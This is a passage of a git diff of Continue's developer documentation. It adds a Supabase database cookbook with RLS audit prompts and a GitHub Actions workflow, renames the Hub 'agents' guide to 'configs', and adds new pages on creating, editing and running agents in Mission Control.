Dashboard](https://supabase.com/dashboard) + - Create a new project for development/testing + - Copy the project URL and anon key + + 2. **Database Schema** - Set up some initial tables for testing: + ```sql + -- Example schema for testing + CREATE TABLE users ( + id UUID DEFAULT gen_random_uuid() PRIMARY KEY, + email TEXT UNIQUE NOT NULL, + created_at TIMESTAMPTZ DEFAULT NOW() + ); + + CREATE TABLE posts ( + id UUID DEFAULT gen_random_uuid() PRIMARY KEY, + user_id UUID REFERENCES users(id), + title TEXT NOT NULL, + content TEXT, + published BOOLEAN DEFAULT false, + created_at TIMESTAMPTZ DEFAULT NOW() + ); + ``` + + 3. **Row Level Security (RLS)** - Enable RLS for security: + ```sql + ALTER TABLE users ENABLE ROW LEVEL SECURITY; + ALTER TABLE posts ENABLE ROW LEVEL SECURITY; + ``` + + + Use [Supabase Branching](https://supabase.com/docs/guides/deployment/branching) to create isolated development branches for safe testing. + + + + + +## Supabase Database Workflow Options + + + Skip the manual setup and use our pre-built Supabase Continuous AI agent that includes + optimized prompts, rules, and the Supabase MCP for intelligent database management. + + + + **How Supabase MCP Works**: + - Connects to your Supabase project via OAuth + - Provides tools for database queries, schema inspection, and migrations + - Supports read-only mode for safer operations + - Can be scoped to specific projects for security + + + + + **Perfect for:** Immediate database analysis with AI-powered query optimization and schema insights + + + + Visit the [Supabase Agent](https://hub.continue.dev/continuedev/supabase-agent) on Continue Hub and click **"Install Agent"** or run: + + ```bash + cn --agent continuedev/supabase-agent + ``` + + This agent includes: + - **Optimized prompts** for database analysis and query generation + - **Built-in rules** for SQL best practices and security + - **[Supabase MCP](https://supabase.com/docs/guides/getting-started/mcp)** for secure database access + - **Automatic authentication** via OAuth flow + + + + Navigate to your project directory and enter this prompt in the Continue CLI TUI: + + ``` + Analyze my Supabase database schema and suggest performance optimizations + ``` + + That's it! The agent handles everything automatically. + + + + + **Why Use the Agent?** Get consistent results with pre-tested prompts and built-in SQL optimization rules. + + + + + + + + Configure the [Supabase MCP](https://supabase.com/docs/guides/getting-started/mcp) using OAuth: + + The MCP server will automatically prompt for OAuth authentication when you first use it. + + + + Test your Supabase MCP connection with this prompt: + + ``` + List all tables in my Supabase database + ``` + + + + Use this prompt template with Continue CLI to analyze your database: + + ``` + Analyze my Supabase database: + - List all tables with row counts + - Identify tables without indexes + - Find potential N+1 query patterns + - Suggest missing foreign key constraints + - Recommend index optimizations based on table structure + - Generate SQL migrations for suggested improvements + - Check for security issues (missing RLS policies) + ``` + + + + + + + + To use the pre-built agent, you need either: + - **Continue CLI Pro Plan** with the models add-on, OR + - **Your own API keys** added to Continue Hub secrets + + The agent will automatically detect and use your configuration. For Supabase MCP: + - **Supabase account** with at least one project + - **OAuth authentication** (handled automatically) + - Development or staging environment (not production) + + +--- + + + **Security Best Practices**: + - **Never use MCP with production databases** - Always use development or staging environments + - **Enable read-only mode** when analyzing data to prevent accidental modifications + - **Scope to specific projects** to limit access + - **Use branch databases** for testing schema changes + + +## Step 2: Analyze Your Database with AI + +Use Continue CLI to perform intelligent database analysis. Enter these prompts in the Continue CLI TUI: + + + + **Prompt:** + ``` + Analyze my Supabase database schema and provide: + - Complete table structure with data types + - Relationships between tables + - Missing indexes that could improve performance + - Unused or redundant columns + - Suggestions for normalization improvements + ``` + + + + **Prompt:** + ``` + Perform a comprehensive RLS (Row Level Security) audit on my Supabase database: + + For each table: + - Check if RLS is enabled + - List all existing RLS policies + - Identify tables without any RLS policies (security risk) + - Find overly permissive policies (e.g., allowing all operations) + - Suggest missing policies based on common patterns + - Generate SQL to fix identified security issues + + Prioritize findings by risk level: + 1. Critical: Tables with sensitive data but no RLS + 2. High: Overly permissive policies + 3. Medium: Missing common policies (e.g., users can only see own data) + 4. Low: Policy optimization opportunities + ``` + + + + **Prompt:** + ``` + Based on the RLS audit, generate SQL migrations to fix all security issues: + + 1. Enable RLS on all tables that don't have it: + - Include ALTER TABLE statements + - Add comment explaining why RLS is needed + + 2. Create secure default policies for common patterns: + - Users can only read/update their own records + - Admins have full access (with role checking) + - Public read-only access where appropriate + - Proper INSERT policies for new records + + 3. Fix overly permissive policies: + - Replace 'true' conditions with proper checks + - Add user_id or role-based restrictions + - Include USING clauses for read operations + - Include WITH CHECK clauses for write operations + + 4. For each policy, include: + - Clear naming convention (e.g., 'users_select_own') + - Comments explaining the security model + - Rollback statements + + Generate the complete migration file with all fixes. + ``` + + + + + **Available Supabase MCP Capabilities**: + - **Database Queries**: Execute SQL queries and analyze results + - **Schema Inspection**: View table structures, relationships, and constraints + - **Performance Analysis**: Identify slow queries and optimization opportunities + - **Security Review**: Check RLS policies and access controls + - **Migration Generation**: Create SQL migrations for schema changes + + +## Step 3: Generate Database Migrations + +Create and apply database migrations based on AI recommendations. Enter this prompt in the Continue CLI TUI: + +**Example: Complete RLS Security Fix** + +``` +I need to secure my Supabase database. Please: + +1. First, audit all tables for RLS security issues +2. Generate a complete migration to fix all issues found +3. Create a security report I can share with my team + +Here's what I need fixed: +- Enable RLS on all tables +- Create policies so users can only access their own data +- Ensure admins (role = 'admin') have full access +- Add policies for service accounts (role = 'service') +- Include audit logging for sensitive operations + +For the users table specifically: +- Users can read their own profile +- Users can update their own profile (except role field) +- Only admins can view all users +- Only admins can delete users +- New users can insert their own record during signup + +Generate the complete migration with: +- All SQL statements +- Clear policy names and comments +- Rollback statements +- A summary of what each policy does +``` + +**Expected Output:** +The AI will generate a complete SQL migration file that: +- Enables RLS on all tables +- Creates secure, well-documented policies +- Follows Supabase security best practices +- Includes rollback capabilities +- Provides a security summary for your team + + + **Best Practice**: Always review AI-generated migrations before applying them. Test in a development branch first using Supabase's branching feature. + + +## Step 4: Set Up Automated Database Monitoring + +Automate database health checks with Continue CLI and GitHub Actions: + +```yaml +name: Database Health Monitor + +on: + schedule: + # Run daily at 2 AM UTC + - cron: "0 2 * * *" + workflow_dispatch: # Allow manual triggers + +jobs: + monitor-database: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-node@v4 + with: + node-version: "22" + + - name: Install Continue CLI + run: | + npm install -g @continuedev/cli + echo "✅ Continue CLI installed" + + - name: Analyze Database Security + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + run: | + echo "🔍 Performing security audit..." + + # Use Continue CLI to audit RLS and generate fixes + cn -p "Using Supabase MCP, perform a comprehensive RLS security audit: + 1. Check all tables for RLS enablement + 2. Identify tables with missing or weak RLS policies + 3. Find overly permissive policies (e.g., 'true' conditions) + 4. Check for common security anti-patterns: + - Missing user_id checks + - No role-based access control + - Unrestricted DELETE operations + - Missing WITH CHECK clauses + 5. Generate fixes for all security issues found + 6. Create a security report with: + - Critical vulnerabilities (tables without RLS) + - High-risk policies that need immediate fixes + - SQL migrations to fix all issues + - Best practice recommendations + - Compliance checklist (GDPR, SOC2, etc.) + + If critical security issues are found: + - Generate the complete fix migration + - Create a GitHub issue with severity labels + - Tag security team members for review" + + - name: Save Health Report + run: | + echo "## 📊 Database Health Report" >> $GITHUB_STEP_SUMMARY + echo "Generated at $(date)" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "Check the 'Analyze Database Security' step for the full report" >> $GITHUB_STEP_SUMMARY + + - name: Upload Health Report + uses: actions/upload-artifact@v4 + with: + name: database-health-report + path: | + *.md + *.sql +``` + + + **Required GitHub Secrets**: + - `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) + + Add this at: **Repository Settings → Secrets and variables → Actions** + + +## What You've Built + +After completing this guide, you have a complete **AI-powered database management system** that: + +- **Analyzes schema design** - Identifies optimization opportunities and best practices +- **Optimizes queries** - Suggests indexes and query rewrites for better performance +- **Generates migrations** - Creates SQL code for schema improvements +- **Monitors health** - Runs automated checks for performance and security issues +- **Provides insights** - Delivers actionable recommendations based on data patterns + + + Your system now operates at **[Level 2 Continuous AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - AI handles routine database analysis and optimization with human oversight for migration approval. + + +## Advanced Database Prompts + +Enhance your workflow with these advanced Continue CLI prompts: + + + + Monitor query performance in real-time and get alerts for slow queries exceeding threshold times + + + Automatically validate data integrity, find duplicates, and ensure consistency across related tables + + + Analyze API logs to understand data access patterns and optimize indexes accordingly + + + Review database usage and suggest ways to reduce costs while maintaining performance + + + +## Security Best Practices + + + **Database Security Guidelines**: + - Always use development/staging environments with MCP + - Enable read-only mode for analysis tasks + - Never store production credentials in code + - Review all AI-generated SQL before execution + - Use RLS policies to enforce access control + - Regularly audit database permissions + + +## Troubleshooting + +### Supabase MCP Connection Issues + +If you encounter connection issues: + +1. Verify OAuth authentication is complete +2. Check your Supabase project is accessible +3. Ensure you're not connecting to a production database +4. Verify the MCP URL is correct: `https://mcp.supabase.com/mcp` + +### Common Database Analysis Issues + +| Issue | Solution | +|:------|:---------| +| No tables found | Verify your database has tables created | +| Permission denied | Check OAuth scopes and project permissions | +| Slow query analysis | Ensure your database has query logs enabled | +| Migration failures | Test migrations in a branch database first | + +## Next Steps + +- Set up [Supabase Edge Functions](https://supabase.com/docs/guides/functions) for automated workflows +- Configure [Supabase Realtime](https://supabase.com/docs/guides/realtime) for live data monitoring +- Implement [Database Webhooks](https://supabase.com/docs/guides/database/webhooks) for event-driven automation +- Join the [Continue Discord](https://discord.gg/continue) for support + +## Resources + +- [Supabase MCP Documentation](https://supabase.com/docs/guides/getting-started/mcp) +- [Supabase Database Guide](https://supabase.com/docs/guides/database) +- [Supabase Security Best Practices](https://supabase.com/docs/guides/database/security) +- [Model Context Protocol Docs](https://modelcontextprotocol.io/introduction) +- [Continue CLI Guide](https://docs.continue.dev/guides/cli) +- [Continuous AI Best Practices](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/) \ No newline at end of file diff --git a/docs/guides/understanding-agents.mdx b/docs/guides/understanding-configs.mdx similarity index 62% rename from docs/guides/understanding-agents.mdx rename to docs/guides/understanding-configs.mdx index d03ce8758..115e21140 100644 --- a/docs/guides/understanding-agents.mdx +++ b/docs/guides/understanding-configs.mdx @@ -1,63 +1,73 @@ --- -title: "How to Understand Agents: Hub vs Local Configuration" -description: "Learn how to choose between cloud-managed Hub agents and local configuration for AI development assistance in Continue, including setup, management, and best practices for each approach" +title: "How to Understand Hub vs Local Configuration" +description: "Learn how to choose between cloud-managed Hub and local configuration for AI development assistance in Continue, including setup, management, and best practices for each approach" --- + + Every developer has unique needs when it comes to AI assistance. Some prefer the convenience of cloud-managed configurations, while others need the control and privacy of local setups. Continue offers both paths, and this guide will help you choose the right one for your workflow. ## What Are the Two Paths to AI Assistance? -Continue provides two distinct ways to configure your AI agent: +Continue provides two distinct ways to configure: Think of Continue's configuration options like choosing between a managed service and self-hosting. Both get you to the same destination—powerful AI assistance in your IDE—but the journey and control level differ significantly. -### How to Access Your Agent Configuration +### How to Access Your Configuration Before we dive into the specifics, let's understand how to access your configuration: 1. Open the Continue Chat sidebar by pressing cmd/ctrl + L (VS Code) or cmd/ctrl + J (JetBrains) -2. Click the Agent selector above the main chat input -3. Hover over an agent and click: - - `new window` icon for Hub agents - - `gear` icon for Local agents +2. Click the Config selector above the main chat input +3. Hover over a config and click: + - `new window` icon for Hub configs + - `gear` icon for Local configs -![configure an agent](/images/configure-continue.png) +![configure](/images/configure-continue.png) -## What Are Hub Agents: The Managed Experience +## What Are Hub Configurations: The Managed Experience -Hub Agents represent the "it just works" philosophy. When you [sign in to Continue Hub](https://auth.continue.dev/), you gain access to a curated ecosystem of pre-configured agents that sync seamlessly across all your development environments. +Hub Configurations represent the "it just works" philosophy. When you [sign in to Continue Hub](https://auth.continue.dev/), you gain access to a curated ecosystem of established configurations that sync seamlessly across all your development environments. -### Why Should You Choose Hub Agents? +### Why Should You Choose Hub Configs? **The Power of Simplicity** -- **Instant Setup**: Browse the [agent marketplace](https://hub.continue.dev) and add any agent to your account with a single click +- **Instant Setup**: Browse the [configuration marketplace](https://hub.continue.dev) and add any config to your account with a single click - **Web-Based Management**: Configure models, add secrets, and customize settings through an intuitive web interface—no JSON editing required - **Automatic Synchronization**: Make a change on the hub, and it reflects immediately across all your IDE instances -- **Team Collaboration**: Share custom agents with your team, ensuring everyone uses the same optimized configurations +- **Team Collaboration**: Share custom configurations with your team, ensuring everyone uses the same optimized configurations -![nextjs agent](/images/nextjs-assistant.png) +![nextjs config](/images/nextjs-assistant.png) -### How to Get Started with Hub Agents +### How to Get Started with Hub Configs The journey from zero to AI-powered coding takes just four steps: -1. **Select Your Agent**: Click the agent selector in your IDE's Continue panel -2. **Explore or Create**: Browse community agents or craft your own specialized helper +1. **Select Your Config**: Click the config selector in your IDE's Continue panel +2. **Explore or Create**: Browse community configurations or craft your own specialized setup 3. **Secure Your Keys**: Add API keys as [User Secrets](https://hub.continue.dev/settings/secrets) in the hub—they're encrypted and never exposed 4. **Sync and Code**: Click "Reload config" to pull your latest settings -Pro tip: Hub Agents are perfect for teams. Create a custom agent with your team's coding standards, preferred models, and context sources, then share it with a simple link. +Pro tip: Hub configurations are perfect for teams. Create a custom config with your team's coding standards, preferred models, and context sources, then share it with a simple link. -### How to Manage Hub Agents +### How to Manage Hub Configs -All Hub Agent management happens through [the Hub](https://hub.continue.dev). For detailed customization, see our guide on [Editing an Agent](/hub/agents/edit-an-agent). +All Hub config management happens through [the Hub](https://hub.continue.dev). For detailed customization, see our guide on [Editing a Config](/hub/configs/edit-a-config). -## What Are Local Agents: The Power User's Choice +## What Are Local Configs: The Power User's Choice -Local Agents put you in the driver's seat. Using a `config.yaml` file, you have complete control over every aspect of your AI agent's behavior, with all configuration stored directly on your machine. +Local configuration puts you in the driver's seat. Using a `config.yaml` file, you have complete control over every aspect of your Continue experience with all configuration stored directly on your machine. -### Why Should You Choose Local Agents? +### Why Should You Choose Local Configs? **Complete Control and Privacy** @@ -66,7 +76,7 @@ Local Agents put you in the driver's seat. Using a `config.yaml` file, you have - **Offline Capability**: Once configured, no internet connection needed (assuming you're using local models) - **Unlimited Customization**: Access every configuration option, experimental feature, and advanced setting -### How to Set Up Local Agents +### How to Set Up Local Configs Local configuration lives in a single YAML file in your home directory: @@ -77,13 +87,13 @@ Local configuration lives in a single YAML file in your home directory: **Quick Access Method:** -1. Open the agents dropdown in your IDE -2. Click the gear icon next to "Local Agent" +1. Open the configs dropdown in your IDE +2. Click the gear icon next to "Local Config" 3. The `config.yaml` file opens in your editor ![local-config-open-steps](/images/local-config-open-steps.png) -### The Local Agent Experience +### The Local Config Experience When you edit your `config.yaml`, Continue provides intelligent autocomplete for all available options. Save the file, and Continue automatically reloads your configuration—no restart required. @@ -93,9 +103,9 @@ For the complete configuration reference, see our [config.yaml documentation](/r ## How to Make the Right Choice -The decision between Hub and Local agents often comes down to your specific needs and constraints. Here's a framework to help you decide: +The decision between Hub and Local configs often comes down to your specific needs and constraints. Here's a framework to help you decide: -### Choose Hub Agents When You: +### Choose Hub Configs When You: **Value Convenience Over Control** @@ -106,7 +116,7 @@ The decision between Hub and Local agents often comes down to your specific need **Need Advanced Collaboration** -- Want to share custom agents with teammates +- Want to share custom configs with teammates - Need centralized API key management - Require quick updates across your entire organization @@ -116,7 +126,7 @@ The decision between Hub and Local agents often comes down to your specific need - Want to experiment with different models and configurations - Prefer guided setup experiences -### Choose Local Agents When You: +### Choose Local Configs When You: **Require Maximum Control** @@ -140,21 +150,21 @@ The decision between Hub and Local agents often comes down to your specific need Here's a secret: you don't have to choose just one. Many developers use both approaches: -- **Hub Agents** for general development and experimentation -- **Local Agents** for production work or client projects with specific requirements +- **Hub Configs** for general development and experimentation +- **Local Configs** for production work or client projects with specific requirements -You can switch between them seamlessly using the agent selector in your IDE. +You can switch between them seamlessly using the configs selector in your IDE. ## Common Patterns and Best Practices -### For Hub Agent Users +### For Hub Config Users -1. **Start with Community Agents**: Before creating your own, explore what others have built +1. **Start with Community Configs**: Before creating your own, explore what others have built 2. **Use Secrets Properly**: Never hardcode API keys—always use the User Secrets feature -3. **Create Specialized Agents**: Make different agents for different contexts (frontend, backend, DevOps) +3. **Create Specialized Configs**: Make different configs for different contexts (frontend, backend, DevOps) 4. **Share Liberally**: If you create something useful, share it with the community -### For Local Agent Users +### For Local Config Users 1. **Version Control Your Config**: Treat your `config.yaml` like code—commit it, review changes, and maintain history 2. **Use Environment Variables**: For sensitive data, reference environment variables instead of hardcoding values @@ -163,7 +173,7 @@ You can switch between them seamlessly using the agent selector in your IDE. ## Troubleshooting and Tips -### Hub Agent Issues +### Hub Config Issues **Changes Not Reflecting?** @@ -171,12 +181,12 @@ You can switch between them seamlessly using the agent selector in your IDE. - Check your internet connection - Ensure you're signed in to the correct account -**Agent Not Available?** +**Config Not Available?** - Verify it's added to your account on the hub - Check if it requires specific API keys -### Local Agent Issues +### Local Config Issues **Config Not Loading?** @@ -193,7 +203,7 @@ You can switch between them seamlessly using the agent selector in your IDE. Now that you understand both configuration approaches, you're ready to dive deeper: -- **For Hub Users**: [Create Your First Agent](/hub/agents/create-an-agent) + - **For Hub Users**: [Create A Config](/hub/configs/create-a-config) - **For Local Users**: [Explore the Config Reference](/reference) - **For Everyone**: [Discover Available Models](/customize/model-providers/overview) diff --git a/docs/home.mdx b/docs/home.mdx index e2c79a939..63280ca84 100644 --- a/docs/home.mdx +++ b/docs/home.mdx @@ -12,11 +12,11 @@ description: "Learn how Continue enables developers to embrace continuous AI, en **You can use Continue to build and run custom agents across your IDE, terminal, and CI.** 1. Get started with Continue in [VS Code](https://marketplace.visualstudio.com/items?itemName=Continue.continue) or [JetBrains](https://plugins.jetbrains.com/plugin/22707-continue-extension) extensions: -- [Agent](/features/agent/quick-start) to work on development tasks together with AI -- [Chat](/features/chat/quick-start) to ask general questions and clarify code sections -- [Edit](/features/edit/quick-start) to modify code section without leaving your current file -- [Autocomplete](/features/autocomplete/quick-start) to receive inline code suggestions as you type +- [Agent mode](/ide-extensions/agent/quick-start) to work on development tasks together with AI +- [Chat mode](/ide-extensions/chat/quick-start) to ask general questions and clarify code sections +- [Edit mode](/ide-extensions/edit/quick-start) to modify code section without leaving your current file +- [Autocomplete](/ide-extensions/autocomplete/quick-start) to receive inline code suggestions as you type 2. Try out [Continue CLI (cn)](https://docs.continue.dev/guides/cli) and give us feedback -3. Discover the models, rules, and MCP tools you need to create a custom AI coding agent on [Continue Hub](https://hub.continue.dev/) +3. Discover the models, prompts, rules, MCP tools, and agents you need to automate your workflows with AI on [Continue Hub](https://hub.continue.dev/) diff --git a/docs/hub/agents/create-an-agent.mdx b/docs/hub/agents/create-an-agent.mdx deleted file mode 100644 index f518c48f5..000000000 --- a/docs/hub/agents/create-an-agent.mdx +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: "How to Create an AI Agent" -description: "Learn how to create custom AI coding agents in Continue Hub by remixing existing agents or building new ones from scratch with reusable blocks and YAML configuration." -sidebarTitle: "Create an AI Agent" ---- - -## How to Create an AI Agent from Scratch - -To create an agent from scratch, select “New agent” in the top bar. - -![New agent button](/images/hub/assistants/images/assistant-new-button-16070e2cff9ce25ec9ebfeecb0e2f2b5.png) - -Choose a name, slug, description, and icon for your agent. - -The easiest way to create an agent is to click "Create agent" with the default configuration and then add / remove blocks using the sidebar. - -Alternatively, you can edit the agent YAML directly before clicking "Create agent". Refer to examples of agents on [hub.continue.dev](https://hub.continue.dev) and visit the [YAML Reference](/reference#complete-yaml-config-example) docs for more details. - -![New agent YAML](/images/hub/assistants/images/assistant-create-yaml-a991e5a81506f1c3ba611a664a50734c.png) - -## How to Remix an Agent - -You can also create an agent by remixing an existing one. This is useful if you want to start with a pre-configured agent and make modifications. - -By clicking the “remix” button, you’ll be taken to the “Create a remix” page. - -![Remix Agent Button](/images/hub/assistants/images/assistant-remix-button-728ececa73983140eeab42e33cc3903b.png) - -Once here, you’ll be able to - -1. add or remove blocks in YAML configuration -2. change the name, description, icon, etc. - -Clicking “Create agent” will make this agent available for use. diff --git a/docs/hub/agents/create-and-edit.mdx b/docs/hub/agents/create-and-edit.mdx new file mode 100644 index 000000000..58be7b5ea --- /dev/null +++ b/docs/hub/agents/create-and-edit.mdx @@ -0,0 +1,261 @@ +--- +title: "Create and Edit Agents" +description: "Build custom AI workflows with prompts, rules, and tools through the Continue Hub interface" +sidebarTitle: "Create & Edit" +--- + + + You can only create and edit Agents through Mission Control in the Continue Hub web interface. + This ensures proper validation, versioning, and team collaboration features. + + +## Try an Agent First: Your 60-Second Challenge + +Before creating your own agent, let's see one in action! The fastest way to experience the power of Continue agents is with our demo repository. + +![Agent Mission Control](/images/hub/assets/images/agent-mission-control.gif) + +### See an Agent Create a Pull Request in Under 60 Seconds + + + + Get a safe sandbox to experiment with: + + **Option 1: GitHub Web Interface** + Visit [github.com/continuedev/demo-project](https://github.com/continuedev/demo-project) and click **Fork** + + **Option 2: GitHub CLI** + ```bash + gh repo fork continuedev/demo-project + ``` + + + + Go to [hub.continue.dev/agents](https://hub.continue.dev/agents) and: + - **Connect GitHub** and authorize Continue when prompted + - This gives agents access to create PRs in your repositories + + + + **Target your forked demo repo** and try one of these commands: + + + + ``` + Create a new function that calculates fibonacci numbers. + ``` + + + + ``` + Fix the TypeError in api/users.ts + ``` + + + + ``` + Add comprehensive README documentation with setup instructions. + ``` + + + + + + **Result:** A fully-formed Pull Request opens in your demo repo with: + - Complete implementation or fix + - Proper commit messages + - Detailed PR description + - Ready for review and merge + + + + + **Why Use the Demo Repo?** + - **Safe testing environment** - No risk to your production code + - **Pre-configured issues** - Common bugs and features to practice with + - **Immediate results** - See agents in action without setup complexity + - **Learn by example** - Study the generated code and PR descriptions + + + + Once you see how agents work with the demo repo, you'll understand exactly how to create and customize your own for real projects! + + +--- + +## Creating an Agent + + ![Create an agent gif](/images/hub/create-an-agent.gif) + + + + + From the Continue Hub top navigation bar, select **"+"** → **"New Agent"**. + + This opens the **Create an Agent (beta)** form with all required fields. + + + + + Configure your agent with the following fields: + + | Field | What to Enter | Example | + |-------|---------------|---------| + | **Name** | Display name shown in the Hub | `GitHub PR Agent` | + | **Prompt** | First instruction the agent receives | `Open a GitHub PR to fix the specified issue.` | + | **Description** | What the agent does | `Creates a pull request and includes AI-generated summaries.` | + | **Tools (MCPs)** | Select built-in or custom MCPs | `GitHub, PostHog, Supabase` | + | **Rules** | Add any organizational rules | `continuedev/gh-pr-commit-workflow, continuedev/summarization` | + | **Model** | Choose a default LLM | `Claude Sonnet 4.5` | + | **Owner + Slug** | Determines namespace | `my-org/github-pr-agent` | + | **Visibility** | Access level | `Public, Organization, or Private` | + + + **Tip**: Start with a simple prompt and add complexity through rules and tools. The prompt should be a clear, single instruction that defines the agent's primary goal. + + + + + As you fill in the fields, the right-hand panel shows a live preview of your agent's YAML configuration: + + ```yaml + name: Open PR with Fix + description: Open a GitHub PR to fix the specified issue + tools: built_in, anthropic/github-mcp + rules: + - continuedev/gh-pr-commit-workflow + - continuedev/summarization + model: Claude Sonnet 4.5 + visibility: public + ``` + + This preview helps you verify the configuration before creating the agent. + + + + Click **"Create Agent"** to save and publish it. + + Your agent is immediately available to run in: + - Mission Control web interface + - TUI mode: `cn --agent your-org/your-agent-name` + - Headless mode: `cn --agent -p your-org/your-agent-name "prompt" --auto` + + + +## Editing an Agent + +You can edit any agent you own or that belongs to your organization. + + + + From the **Agents** page or Mission Control view, click your agent's name, then select **"Edit Agent"**. + + + + You can modify any of these components: + + + + **Refine task behavior** + + ``` + # Before + Fix the bug in the authentication system + + # After + Fix the authentication bug by: + 1. Identifying the root cause + 2. Implementing a secure solution + 3. Adding appropriate tests + 4. Opening a PR with detailed explanation + ``` + + + + **Enforce team standards** + + Add or remove organizational rules: + - `continuedev/security-first` - Always scan for vulnerabilities + - `continuedev/test-coverage` - Require tests for new code + - `my-org/style-guide` - Follow company coding standards + + + + **Connect additional systems** + + - Add GitHub MCP for repository operations + - Include Sentry MCP for error monitoring + - Connect Supabase MCP for database operations + - Use custom MCPs for internal tools + + + + **Adjust behavior and access** + + - **Model**: Switch between Claude, GPT-4, or other supported LLMs + - **Visibility**: Control who can see and use the agent + - Public: Anyone can discover and use + - Organization: Only your team members + - Private: Only you can access + + + + + + Click **"Update Agent"** when finished. + + The updated version is instantly available to your team with automatic versioning for change tracking. + + + + + Test your agent thoroughly to ensure they interact as expected. + + +## Example Agent Configurations + +Here are proven agent configurations you can create or use as inspiration: + + + + **Snyk Continuous AI Agent** - Comprehensive security scanning with Snyk MCP integration. + + Automates dependency analysis, vulnerability scanning, and creates remediation PRs with AI-powered fix suggestions. + + + + **Netlify Continuous AI Agent** - Performance optimization with A/B testing and monitoring. + + Tracks Core Web Vitals, identifies regressions, and provides optimization recommendations. + + + + **Sentry Continuous AI Agent** - Automated error analysis and issue creation. + + Monitors production errors, provides root cause analysis, and creates actionable GitHub issues. + + + + **GitHub Manager AI Agent** - Comprehensive GitHub workflow automation. + + Handles issue triage, PR reviews, and release note generation with natural language prompts. + + + + **Supabase Continuous AI Agent** - Database security and management workflows. + + Audits Row Level Security, identifies vulnerabilities, and generates fixes automatically. + + + + +## Troubleshooting + +Common issues and solutions: + +| Problem | Solution | +|---------|----------| +| **Agent doesn't complete tasks** | Simplify the prompt, add more specific instructions, verify tool permissions | +| **Tools aren't working** | Check MCP configuration, verify API keys and permissions in Hub settings | +| **Inconsistent behavior** | Add rules to enforce consistent patterns, test with various input scenarios | +| **Performance issues** | Consider model choice, simplify complex multi-step workflows, optimize tool usage | diff --git a/docs/hub/agents/edit-an-agent.mdx b/docs/hub/agents/edit-an-agent.mdx deleted file mode 100644 index d4f74fd5b..000000000 --- a/docs/hub/agents/edit-an-agent.mdx +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: "How to Edit an Agent" -description: "New versions of an agent can be created and published using the sidebar." ---- - -![Remix Agent Button](/images/hub/assistants/images/assistant-create-sidebar-608be49973f2a7723212adeb52dbcafb.png) - -First, select an agent from the dropdown at the top. - -While editing an agent, you can explore the hub and click "Add Block" from a block page to add it to your agent. - -For blocks that require secret values like API keys, you will see a small notification on the block's tile in the sidebar that will indicate if action is needed. - -To delete a block, click the trash icon. - -If a block you want to use does not exist yet, you can [create a new block](/hub/blocks/create-a-block). - -When you are done editing, click "Publish" to publish a new version of the agent. - -Click "Open VS Code" or "Open JetBrains" to open your IDE for using the agent. diff --git a/docs/hub/agents/intro.mdx b/docs/hub/agents/intro.mdx index 7747c8145..7cfb49b1e 100644 --- a/docs/hub/agents/intro.mdx +++ b/docs/hub/agents/intro.mdx @@ -1,8 +1,190 @@ --- -title: "Introduction to Agents" -description: "Custom AI code agents are configurations of building blocks that enable a coding experience tailored to your specific use cases." +title: "Getting Started with Agents" +description: "Quick start guide for running AI workflows in Mission Control" +sidebarTitle: "Getting Started" --- -`config.yaml` is a format for defining custom AI code agents. An agent has some top-level properties (e.g. `name`, `version`), but otherwise consists of composable lists of **blocks** such as `models` and `rules`, which are the atomic building blocks of an agent. + + Mission Control is your web interface for running and managing AI agents. Get started in minutes with pre-built workflows for security scanning, GitHub management, analytics insights, and more. + -The `config.yaml` is parsed by the open-source Continue IDE extensions to create custom agent experiences. When you log in to [hub.continue.dev](https://hub.continue.dev/), your agents will automatically be synced with the IDE extensions. + + Mission Control is in beta. Please share any feedback with us in [GitHub discussions](https://github.com/continuedev/continue/discussions/8051). + + +Use Mission Control to kick off agents for: +- **Bug fixes & code quality** - Address nitpicks and technical debt +- **Feature development** - Build boilerplate-heavy features +- **Security & compliance** - [Automated vulnerability scanning](../../guides/snyk-mcp-continue-cookbook) +- **Investigation & analysis** - Research issues to kickstart your work +- **Custom workflows** - Run repeatable tasks with your own rules and prompts + +## Quick Start + + + + Go to [hub.continue.dev/agents](https://hub.continue.dev/agents) and connect with your GitHub account. + + ![Mission Control Setup](/images/hub/workflows/images/workflows-setup.png) + + + + Select from pre-configured agents or create your own: + + + + `continuedev/snyk-continuous-ai-agent` + Finds vulnerabilities and creates fix PRs + + + + `continuedev/github-project-manager-agent` + Triages issues and manages workflows + + + + + + Enter a prompt and watch your agent work: + + ``` + "Fix the TypeError in api/users.ts and open a PR with tests" + ``` + + + + + **New to agents?** Check out our [pre-configured agents](/hub/agents/overview#pre-configured-agents) to test out a workflow immediately. + + +## Example Workflow Tasks + +Here are some example tasks you can try with your agents: + + + + + - "Fix the TypeError in api/users.ts where the user object might be undefined" + - "Add null checks to all database query results in the services/ directory" + - "Fix all ESLint warnings in the components folder and open a PR" + - "Update deprecated React lifecycle methods to hooks in legacy components" + + + + + + - "Create a new REST endpoint for user profile updates with validation and error handling" + - "Add pagination to the products list page with previous/next buttons" + - "Implement dark mode toggle using Tailwind CSS classes across all pages" + - "Add unit tests for the authentication service using Jest" + + + + + + - "Run a complete security scan and create GitHub issues for critical vulnerabilities" + - "Scan the codebase for hardcoded API keys and move them to environment variables" + - "Add input sanitization to all user-facing form fields" + - "Update npm packages with security vulnerabilities and test compatibility" + + + + + + - "Add JSDoc comments to all exported functions in the utils/ directory" + - "Create a README.md for the new payment-processing module with setup instructions" + - "Generate TypeScript interfaces for all API response schemas" + - "Add error handling boilerplate to all async functions missing try-catch blocks" + + + + + + - "Investigate why the login API is returning 500 errors intermittently and suggest fixes" + - "Analyze the performance bottleneck in the data processing pipeline" + - "Review the database schema for the orders table and suggest optimizations" + - "Find all TODO comments related to authentication and create a summary" + + + + + + - "Extract the repeated validation logic in controllers into a shared utility function" + - "Convert all class components in src/legacy to functional components with hooks" + - "Rename all instances of 'userId' to 'accountId' across the codebase" + - "Split the 500-line UserService.ts into smaller, single-responsibility services" + + + + +## Ways to Run Agents + +Choose the method that fits your workflow: + + + + **Web interface for interactive use** + + Perfect for: + - Exploring agent capabilities + - Reviewing outputs before action + - Team collaboration + - One-time tasks + + Access at 